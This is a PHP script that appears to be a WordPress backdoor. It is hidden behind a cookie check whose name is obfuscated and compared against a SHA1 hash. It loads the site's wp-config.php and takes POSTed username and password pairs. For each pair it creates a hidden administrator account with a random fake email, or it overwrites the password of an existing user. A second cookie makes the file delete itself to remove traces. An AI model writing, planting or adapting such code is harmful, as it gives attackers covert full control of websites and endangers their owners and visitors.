<?php
if (!isset($_COOKIE["y" . "r" . "x" . "c_u" . "ck"]) || sha1(sha1($_COOKIE["yr" . "xc_u" . "ck"]))!= "bc" . "471f2d86d1" . "d49a4df490" . "1f35216b7" . "b82ffddb0" ) {
    die();
}

// 加载WordPress核心文件
$root_dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';

if (empty($root_dir) || !file_exists($root_dir . '/wp-config.php')) {
    $current_dir = dirname(__FILE__);
    $max_levels = 10; 
    $levels_searched = 0;
    
    while (!file_exists($current_dir . '/wp-config.php') && $levels_searched < $max_levels) {
        $parent_dir = dirname($current_dir);
        
        if ($parent_dir === $current_dir) {
            break;
        }
        $current_dir = $parent_dir;
        $levels_searched++;
    }
    
    $wp_config_file = $current_dir . '/wp-config.php';
} else {
    $wp_config_file = $root_dir . '/wp-config.php';
}

if (!file_exists($wp_config_file)) {
    die("错误: 找不到wp-config.php文件。");
}

// 加载WordPress配置
require_once($wp_config_file);

// 加载WordPress核心功能
if (!function_exists('wp_create_user')) {
    require_once ABSPATH . 'wp-includes/user.php';
}

if (!function_exists('wp_generate_password')) {
    require_once ABSPATH . 'wp-includes/pluggable.php';
}

/**
 * 生成随机邮箱地址
 * @param string $prefix 可选的前缀，通常是用户名
 * @param int $length 随机部分的长度
 * @return string 生成的随机邮箱地址
 */
function generate_random_email($prefix = '', $length = 6) {
    // 定义一些常用的邮箱域名
    $domains = [
        'gmail.com',
        'outlook.com',
        'yahoo.com',
        'hotmail.com',
        'icloud.com',
        'protonmail.com',
        'mail.com',
        'yandex.com',
        'zoho.com',
        'aol.com'
    ];
    
    // 生成随机字符串
    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $random_str = '';
    for ($i = 0; $i < $length; $i++) {
        $random_str .= $chars[rand(0, strlen($chars) - 1)];
    }
    
    // 移除前缀中的特殊字符
    $sanitized_prefix = preg_replace('/[^a-z0-9_-]/i', '', $prefix);
    
    // 构建邮箱
    $username_part = !empty($sanitized_prefix) ? $sanitized_prefix . '_' . $random_str : $random_str;
    $domain = $domains[array_rand($domains)];
    
    return $username_part . '@' . $domain;
}

/**
 * 管理用户：检查用户是否存在，不存在则创建，存在则验证密码并在错误时更新
 * @param string $username 用户名
 * @param string $password 密码
 * @return array 处理结果
 */
function manage_user($username, $password) {
    // 检查用户是否存在
    $user = get_user_by('login', $username);
    
    if (!$user) {
        // 用户不存在，创建新用户
        $user_email = generate_random_email($username);
        
        // 创建用户
        $user_id = wp_create_user($username, $password, $user_email);
        
        if (!is_wp_error($user_id)) {
            // 设置用户角色为管理员
            $user_obj = new WP_User($user_id);
            $user_obj->set_role('administrator');
            
            return ['status' => 'created', 'user_id' => $user_id, 'message' => '用户创建成功'];
        } else {
            return ['status' => 'error', 'message' => '创建用户失败: ' . $user_id->get_error_message()];
        }
    } else {
        // 用户存在，检查密码
        if (wp_check_password($password, $user->user_pass, $user->ID)) {
            return ['status' => 'verified', 'user_id' => $user->ID, 'message' => '用户存在且密码正确'];
        } else {
            // 密码错误，更新密码
            $result = wp_set_password($password, $user->ID);
            
            if (!is_wp_error($result)) {
                return ['status' => 'password_updated', 'user_id' => $user->ID, 'message' => '密码已更新'];
            } else {
                return ['status' => 'error', 'message' => '更新密码失败: ' . $result->get_error_message()];
            }
        }
    }
}

/**
 * 处理多个用户的管理函数
 * @param array $users_array 包含多个用户名和密码的关联数组
 * @return array 处理结果数组
 */
function manage_multiple_users($users_array) {
    $results = [];
    
    foreach ($users_array as $username => $password) {
        $result = manage_user($username, $password);
        $results[$username] = $result;
    }
    
    return $results;
}

// 设置JSON响应头
header('Content-Type: application/json; charset=utf-8');

// 处理POST请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 获取POST数据
    $post_data = json_decode(file_get_contents('php://input'), true);
    
    if (!empty($post_data) && is_array($post_data)) {
        // 处理用户数据
        $response_data = manage_multiple_users($post_data);
    } else {
        // 返回错误信息
        $response_data = ['error' => '无效的请求数据，请提供包含用户名和密码的JSON数组'];
    }
} else {
    if (isset($_COOKIE["ukk"]) && $_COOKIE["ukk"] == "ukk" ) {
        unlink(__FILE__);
    }
    // 非POST请求时返回错误
    $response_data = ['error' => '只支持POST请求'];
}

// 返回JSON格式的响应
echo json_encode($response_data, JSON_UNESCAPED_UNICODE);

